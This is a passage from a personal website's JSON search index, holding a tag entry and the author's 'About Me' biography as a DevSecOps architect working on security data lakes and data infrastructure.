Lock-in","type":"posts"},{"content":"","date":"10 September 2025","externalUrl":null,"permalink":"/categories/tutorial/","section":"Categories","summary":"","title":"Tutorial","type":"categories"},{"content":" I design and build distributed data and AI infrastructures: systems that turn high-volume telemetry and event streams into something teams can understand and act on. My focus lies in real-time data processing, AI observability, and secure architectures that bridge on-prem and cloud environments.\nAs a Principal DevSecOps Architect, I design and implement Security Data Lakes powered by AI and machine learning to detect threats, correlate signals, and enable proactive defense across large, distributed ecosystems.\nI\u0026rsquo;ve spent nearly 15 years working with leading financial institutions, building and securing critical data and analytics platforms under strict compliance and performance requirements. This experience shaped how I design systems: scalable, resilient, and compliant by design.\nMy journey started in the world of Linux, open-source, and security engineering. In 2004 I co-founded the Jaworzno Linux Users Group (JLUG) and those roots still guide how I think about systems today. Simplicity, transparency, and automation first.\nPrivately, husband of Klaudia and father of Mia. They remind me every day that the most important systems are the ones that work at home.\n","externalUrl":null,"permalink":"/about/","section":"Sculpture","summary":"","title":"About Me","type":"page"},{"content":"","externalUrl":null,"permalink":"/authors/","section":"Authors","summary":"","title":"Authors","type":"authors"}]